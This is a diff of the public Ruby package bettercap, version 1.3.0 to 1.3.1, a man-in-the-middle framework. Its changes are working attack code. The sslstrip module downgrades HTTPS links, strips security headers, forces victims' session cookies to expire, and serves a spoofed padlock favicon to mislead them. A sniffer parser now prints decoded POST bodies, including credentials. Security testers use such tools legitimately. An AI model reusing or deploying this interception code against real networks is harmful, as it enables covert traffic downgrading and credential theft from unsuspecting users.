bettercap 1.3.0 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/bin/bettercap +4 -5
- data/lib/bettercap.rb +1 -0
- data/lib/bettercap/context.rb +5 -1
- data/lib/bettercap/firewalls/linux.rb +9 -4
- data/lib/bettercap/options.rb +2 -2
- data/lib/bettercap/proxy/module.rb +3 -0
- data/lib/bettercap/proxy/proxy.rb +1 -1
- data/lib/bettercap/proxy/request.rb +31 -3
- data/lib/bettercap/proxy/response.rb +16 -0
- data/lib/bettercap/proxy/sslstrip/lock.ico +0 -0
- data/lib/bettercap/proxy/sslstrip/strip.rb +81 -19
- data/lib/bettercap/proxy/streamer.rb +4 -0
- data/lib/bettercap/sniffer/parsers/post.rb +19 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +13 -4
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: f9801e0373d15f52908660dc7aed084d8f91950d
|
4
|
+
data.tar.gz: 50b9f0bc24a28b4b3c7529e5d5fbd65cc96f12c4
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: d9c118a677a01f88be5ca3e064e32852912f97a9e8487bd820defc650a73d684d4a78c433e9a7f2bc56d13716c08c4a1eb776d1242ee34910783b3beb00de981
|
7
|
+
data.tar.gz: 59d4054d3ddda701f44967074ac6042d6bbbcbd72306cd9808c6069ebec613e3d43c0d93b98d0b43a437770215ecb20ec19357b920191054455bdc33ab13578f
|
data/bin/bettercap
CHANGED
@@ -71,11 +71,10 @@ begin
|
|
71
71
|
rescue SystemExit, Interrupt
|
72
72
|
BetterCap::Logger.raw "\n"
|
73
73
|
|
74
|
-
rescue OptionParser::InvalidOption
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
BetterCap::Logger.error e.message
|
74
|
+
rescue OptionParser::InvalidOption,
|
75
|
+
OptionParser::AmbiguousOption,
|
76
|
+
OptionParser::MissingArgument => e
|
77
|
+
BetterCap::Logger.error "'#{e.message.capitalize}', verify your command line arguments executing 'bettercap --help'."
|
79
78
|
|
80
79
|
rescue BetterCap::Error => e
|
81
80
|
BetterCap::Logger.error e.message
|
data/lib/bettercap.rb
CHANGED
data/lib/bettercap/context.rb
CHANGED
@@ -144,7 +144,11 @@ class Context
|
|
144
144
|
original = response
|
145
145
|
|
146
146
|
begin
|
147
|
-
|
147
|
+
if response.nil?
|
148
|
+
mod.on_pre_request request
|
149
|
+
else
|
150
|
+
mod.on_request request, response
|
151
|
+
end
|
148
152
|
rescue Exception => e
|
149
153
|
Logger.warn "Error with proxy module: #{e.message}"
|
150
154
|
response = original
|
@@ -16,27 +16,32 @@ module BetterCap
|
|
16
16
|
module Firewalls
|
17
17
|
# Linux firewall class.
|
18
18
|
class Linux < Base
|
19
|
+
|
20
|
+
IPV4_PATH = "/proc/sys/net/ipv4"
|
21
|
+
IP_FORWARD_PATH = IPV4_PATH + "/ip_forward"
|
22
|
+
ICMP_BCAST_PATH = IPV4_PATH + "/icmp_echo_ignore_broadcasts"
|
23
|
+
SEND_REDIRECTS_PATH = IPV4_PATH + "/conf/all/send_redirects"
|
19
24
|
# If +enabled+ is true will enable packet forwarding, otherwise it will
|
20
25
|
# disable it.
|
21
26
|
def enable_forwarding(enabled)
|
22
|
-
|
27
|
+
File.open(IP_FORWARD_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
|
23
28
|
end
|
24
29
|
|
25
30
|
# Return true if packet forwarding is currently enabled, otherwise false.
|
26
31
|
def forwarding_enabled?
|
27
|
-
|
32
|
+
File.open(IP_FORWARD_PATH) { |f| f.read.strip == '1' }
|
28
33
|
end
|
29
34
|
|
30
35
|
# If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will
|
31
36
|
# disable it.
|
32
37
|
def enable_icmp_bcast(enabled)
|
33
|
-
|
38
|
+
File.open(ICMP_BCAST_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
|
34
39
|
end
|
35
40
|
|
36
41
|
# If +enabled+ is true will enable send_redirects, otherwise it will
|
37
42
|
# disable it.
|
38
43
|
def enable_send_redirects(enabled)
|
39
|
-
|
44
|
+
File.open(SEND_REDIRECTS_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
|
40
45
|
end
|
41
46
|
|
42
47
|
# Apply the +r+ BetterCap::Firewalls::Redirection port redirection object.
|
data/lib/bettercap/options.rb
CHANGED
@@ -520,8 +520,8 @@ class Options
|
|
520
520
|
|
521
521
|
# Print the starting status message.
|
522
522
|
def starting_message
|
523
|
-
on = '
|
524
|
-
off = '
|
523
|
+
on = 'on'.green
|
524
|
+
off = 'off'.red
|
525
525
|
status = {
|
526
526
|
'spoofing' => if has_spoofer? then on else off end,
|
527
527
|
'discovery' => if !target.nil? or arpcache then off else on end,
|
@@ -18,6 +18,9 @@ class Module
|
|
18
18
|
@@path = File.dirname(__FILE__) + '/modules/'
|
19
19
|
@@modules = []
|
20
20
|
|
21
|
+
def on_pre_request( request ); end
|
22
|
+
def on_request( request, response ); end
|
23
|
+
|
21
24
|
# Return a list of available builtin proxy module names.
|
22
25
|
def self.available
|
23
26
|
avail = []
|
@@ -29,7 +29,7 @@ class Request
|
|
29
29
|
# Content length.
|
30
30
|
attr_reader :content_length
|
31
31
|
# Request body.
|
32
|
-
|
32
|
+
attr_accessor :body
|
33
33
|
# Client address.
|
34
34
|
attr_accessor :client
|
35
35
|
# Client port.
|
@@ -72,6 +72,20 @@ class Request
|
|
72
72
|
end
|
73
73
|
end
|
74
74
|
|
75
|
+
# Return a Request object from a +raw+ string.
|
76
|
+
def self.parse(raw)
|
77
|
+
req = Request.new
|
78
|
+
lines = raw.split("\n")
|
79
|
+
lines.each_with_index do |line,i|
|
80
|
+
req << line
|
81
|
+
if line.chomp == ''
|
82
|
+
req.body = lines[i + 1..lines.size].join("\n")
|
83
|
+
break
|
84
|
+
end
|
85
|
+
end
|
86
|
+
req
|
87
|
+
end
|
88
|
+
|
75
89
|
# Parse a single request line, patch it if needed and append it to #lines.
|
76
90
|
def <<(line)
|
77
91
|
line = line.chomp
|
@@ -128,6 +142,7 @@ class Request
|
|
128
142
|
@lines.join("\n") + "\n" + ( @body || '' )
|
129
143
|
end
|
130
144
|
|
145
|
+
# Return the full request URL trimming it at +max_length+ characters.
|
131
146
|
def to_url(max_length = 50)
|
132
147
|
schema = if port == 443 then 'https' else 'http' end
|
133
148
|
url = "#{schema}://#{@host}#{@url}"
|
@@ -141,14 +156,27 @@ class Request
|
|
141
156
|
end
|
142
157
|
|
143
158
|
# If the header with +name+ is found, then a +value+ is assigned to it.
|
159
|
+
# If +value+ is null and the header is found, it will be removed.
|
144
160
|
def []=(name, value)
|
161
|
+
found = false
|
145
162
|
@lines.each_with_index do |line,i|
|
146
163
|
if line =~ /^#{name}:\s*.+$/i
|
147
|
-
|
148
|
-
|
164
|
+
found = true
|
165
|
+
if value.nil?
|
166
|
+
@headers.delete(name)
|
167
|
+
@lines.delete_at(i)
|
168
|
+
else
|
169
|
+
@headers[name] = value
|
170
|
+
@lines[i] = "#{name}: #{value}"
|
171
|
+
end
|
149
172
|
break
|
150
173
|
end
|
151
174
|
end
|
175
|
+
|
176
|
+
if !found and !value.nil?
|
177
|
+
@headers[name] = value
|
178
|
+
@lines << "#{name}: #{value}"
|
179
|
+
end
|
152
180
|
end
|
153
181
|
end
|
154
182
|
end
|
@@ -31,6 +31,22 @@ class Response
|
|
31
31
|
# Response body.
|
32
32
|
attr_accessor :body
|
33
33
|
|
34
|
+
# Return a 200 response object reading the file +filename+ with the specified
|
35
|
+
# +content_type+.
|
36
|
+
def self.from_file( filename, content_type )
|
37
|
+
r = Response.new
|
38
|
+
data = File.read(filename)
|
39
|
+
|
40
|
+
r << "HTTP/1.1 200 OK"
|
41
|
+
r << "Connection: close"
|
42
|
+
r << "Content-Length: #{data.bytesize}"
|
43
|
+
r << "Content-Type: #{content_type}"
|
44
|
+
r << "\n"
|
45
|
+
r << data
|
46
|
+
|
47
|
+
r
|
48
|
+
end
|
49
|
+
|
34
50
|
# Initialize this response object state.
|
35
51
|
def initialize
|
36
52
|
@content_type = nil
|
Binary file
|
@@ -19,41 +19,99 @@ class Strip
|
|
19
19
|
# Maximum number of redirects to detect a HTTPS redirect loop.
|
20
20
|
MAX_REDIRECTS = 3
|
21
21
|
# Regular expression used to parse HTTPS urls.
|
22
|
-
HTTPS_URL_RE
|
22
|
+
HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
|
23
23
|
|
24
24
|
# Create an instance of this object.
|
25
25
|
def initialize
|
26
26
|
@urls = URLMonitor.new
|
27
27
|
@cookies = CookieMonitor.new
|
28
|
+
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
28
29
|
end
|
29
30
|
|
30
31
|
# Check if the +request+ is a result of a stripped link/redirect and handle
|
31
32
|
# cookies cleaning.
|
32
33
|
# Return a response object or nil if the request must be performed.
|
33
34
|
def preprocess( request )
|
35
|
+
process_headers!(request)
|
36
|
+
response = process_cookies!(request)
|
37
|
+
if response.nil?
|
38
|
+
process_stripped!(request)
|
39
|
+
response = spoof_favicon!(request)
|
40
|
+
end
|
41
|
+
response
|
42
|
+
end
|
43
|
+
|
44
|
+
# Process the +request+ and if it's a redirect to a HTTPS url patch the
|
45
|
+
# Location header and retry.
|
46
|
+
# Process the +response+ and replace every https link in its body with
|
47
|
+
# http counterparts.
|
48
|
+
def process( request, response )
|
49
|
+
# check for a redirect
|
50
|
+
if process_redirection!( request, response )
|
51
|
+
# retry the request
|
52
|
+
return true
|
53
|
+
end
|
54
|
+
|
55
|
+
process_body!( request, response )
|
56
|
+
|
57
|
+
# do not retry the request.
|
58
|
+
false
|
59
|
+
end
|
60
|
+
|
61
|
+
private
|
62
|
+
|
63
|
+
# Clean some headers from +request+.
|
64
|
+
def process_headers!(request)
|
65
|
+
request['Accept-Encoding'] = nil
|
66
|
+
request['If-None-Match'] = nil
|
67
|
+
request['If-Modified-Since'] = nil
|
68
|
+
request['Upgrade-Insecure-Requests'] = nil
|
69
|
+
request['Pragma'] = 'no-cache'
|
70
|
+
end
|
71
|
+
|
72
|
+
# If +request+ has unknown session cookies, create a client redirection
|
73
|
+
# to make them expire.
|
74
|
+
def process_cookies!(request)
|
75
|
+
response = nil
|
34
76
|
# check for cookies.
|
35
77
|
unless @cookies.is_clean?(request)
|
36
78
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
37
79
|
expired = @cookies.get_expired_headers!(request)
|
38
80
|
|
39
|
-
|
81
|
+
response = build_expired_cookies( expired, request )
|
40
82
|
end
|
83
|
+
response
|
84
|
+
end
|
41
85
|
|
86
|
+
# If the +request+ is a result of a sslstripping operation,
|
87
|
+
# proxy it via SSL.
|
88
|
+
def process_stripped!(request)
|
42
89
|
# check for stripped urls.
|
43
90
|
link = @urls.normalize( request.host )
|
44
91
|
if request.port == 80 and @urls.was_stripped?( request.client, link )
|
45
92
|
Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
|
46
93
|
request.port = 443
|
47
94
|
end
|
95
|
+
end
|
48
96
|
|
97
|
+
# If +request+ is the favicon of a stripped host, send our spoofed lock icon.
|
98
|
+
def spoof_favicon!(request)
|
99
|
+
link = @urls.normalize( request.host )
|
100
|
+
if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
|
101
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
|
102
|
+
return @favicon
|
103
|
+
end
|
49
104
|
nil
|
50
105
|
end
|
51
106
|
|
52
|
-
#
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
107
|
+
# Return true if +request+ is a favicon request.
|
108
|
+
def is_favicon?(request)
|
109
|
+
( request.url.include?('.ico') or request.url.include?('favicon') )
|
110
|
+
end
|
111
|
+
|
112
|
+
# If the +response+ is a redirect to a HTTPS location, patch the +response+ and
|
113
|
+
# retry the +request+ via SSL.
|
114
|
+
def process_redirection!(request,response)
|
57
115
|
# check for a redirect
|
58
116
|
if response['Location'].start_with?('https://')
|
59
117
|
link = @urls.normalize( response['Location'] )
|
@@ -68,17 +126,24 @@ class Strip
|
|
68
126
|
# retry the request if possible
|
69
127
|
return true
|
70
128
|
end
|
129
|
+
false
|
130
|
+
end
|
71
131
|
|
132
|
+
# Process the +response+ body and strip out every HTTPS link.
|
133
|
+
def process_body!(request, response)
|
72
134
|
# parse body
|
73
135
|
links = []
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
136
|
+
begin
|
137
|
+
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
138
|
+
if link[0].include?('.')
|
139
|
+
link = @urls.normalize( link[0] )
|
140
|
+
downgraded = @urls.downgrade( link )
|
141
|
+
|
142
|
+
links << [link, downgraded]
|
143
|
+
end
|
80
144
|
end
|
81
|
-
|
145
|
+
# handle errors due to binary content
|
146
|
+
rescue; end
|
82
147
|
|
83
148
|
unless links.empty?
|
84
149
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
@@ -89,13 +154,10 @@ class Strip
|
|
89
154
|
response.body.gsub!( link, downgraded )
|
90
155
|
end
|
91
156
|
end
|
92
|
-
|
93
|
-
# do not retry the request.
|
94
|
-
false
|
95
157
|
end
|
96
158
|
|
97
|
-
|
98
|
-
|
159
|
+
# Return a 302 Redirect BetterCap::Proxy::Response object for the
|
160
|
+
# +request+, using +expired+ cookie headers to kill a client session.
|
99
161
|
def build_expired_cookies( expired, request )
|
100
162
|
resp = Response.new
|
101
163
|
|
@@ -47,6 +47,9 @@ class Streamer
|
|
47
47
|
end
|
48
48
|
|
49
49
|
if r.nil?
|
50
|
+
# call modules on_pre_request
|
51
|
+
@processor.call( request, nil )
|
52
|
+
|
50
53
|
self.send( "do_#{request.verb}", request, response )
|
51
54
|
else
|
52
55
|
response = r
|
@@ -70,6 +73,7 @@ class Streamer
|
|
70
73
|
end
|
71
74
|
end
|
72
75
|
|
76
|
+
# call modules on_request
|
73
77
|
@processor.call( request, response )
|
74
78
|
|
75
79
|
client.write response.to_s
|
@@ -19,7 +19,25 @@ class Post < Base
|
|
19
19
|
def on_packet( pkt )
|
20
20
|
s = pkt.to_s
|
21
21
|
if s =~ /POST\s+[^\s]+\s+HTTP.+/
|
22
|
-
|
22
|
+
begin
|
23
|
+
req = BetterCap::Proxy::Request.parse(pkt.payload)
|
24
|
+
# the packet could be incomplete
|
25
|
+
unless req.body.nil? or req.body.empty?
|
26
|
+
msg = "\n[#{'HEADERS'.green}]\n\n"
|
27
|
+
req.headers.each do |name,value|
|
28
|
+
msg << " #{name.blue} : #{value.yellow}\n"
|
29
|
+
end
|
30
|
+
msg << "\n[#{'BODY'.green}]\n\n"
|
31
|
+
|
32
|
+
req.body.split('&').each do |v|
|
33
|
+
name, value = v.split('=')
|
34
|
+
msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
|
35
|
+
end
|
36
|
+
|
37
|
+
StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
|
38
|
+
Logger.raw "#{msg}\n"
|
39
|
+
end
|
40
|
+
rescue; end
|
23
41
|
end
|
24
42
|
end
|
25
43
|
end
|
data/lib/bettercap/version.rb
CHANGED
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
module BetterCap
|
13
13
|
# Current version of bettercap.
|
14
|
-
VERSION = '1.3.
|
14
|
+
VERSION = '1.3.1'
|
15
15
|
# Program banner.
|
16
16
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
17
17
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.3.
|
4
|
+
version: 1.3.1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-01-
|
11
|
+
date: 2016-01-26 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -29,6 +29,9 @@ dependencies:
|
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
31
|
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '1.1'
|
34
|
+
- - ">="
|
32
35
|
- !ruby/object:Gem::Version
|
33
36
|
version: 1.1.10
|
34
37
|
type: :runtime
|
@@ -36,6 +39,9 @@ dependencies:
|
|
36
39
|
version_requirements: !ruby/object:Gem::Requirement
|
37
40
|
requirements:
|
38
41
|
- - "~>"
|
42
|
+
- !ruby/object:Gem::Version
|
43
|
+
version: '1.1'
|
44
|
+
- - ">="
|
39
45
|
- !ruby/object:Gem::Version
|
40
46
|
version: 1.1.10
|
41
47
|
- !ruby/object:Gem::Dependency
|
@@ -80,7 +86,9 @@ dependencies:
|
|
80
86
|
- - "~>"
|
81
87
|
- !ruby/object:Gem::Version
|
82
88
|
version: 0.8.0
|
83
|
-
description:
|
89
|
+
description: BetterCap is the state of the art, modular, portable and easily extensible
|
90
|
+
MITM framework featuring ARP and ICMP spoofing, sslstripping, credentials harvesting
|
91
|
+
and more.
|
84
92
|
email: evilsocket@gmail.com
|
85
93
|
executables:
|
86
94
|
- bettercap
|
@@ -126,6 +134,7 @@ files:
|
|
126
134
|
- lib/bettercap/proxy/request.rb
|
127
135
|
- lib/bettercap/proxy/response.rb
|
128
136
|
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
137
|
+
- lib/bettercap/proxy/sslstrip/lock.ico
|
129
138
|
- lib/bettercap/proxy/sslstrip/strip.rb
|
130
139
|
- lib/bettercap/proxy/sslstrip/urlmonitor.rb
|
131
140
|
- lib/bettercap/proxy/stream_logger.rb
|
@@ -152,7 +161,7 @@ files:
|
|
152
161
|
- lib/bettercap/version.rb
|
153
162
|
homepage: http://github.com/evilsocket/bettercap
|
154
163
|
licenses:
|
155
|
-
-
|
164
|
+
- GPL-3.0
|
156
165
|
metadata: {}
|
157
166
|
post_install_message:
|
158
167
|
rdoc_options:
|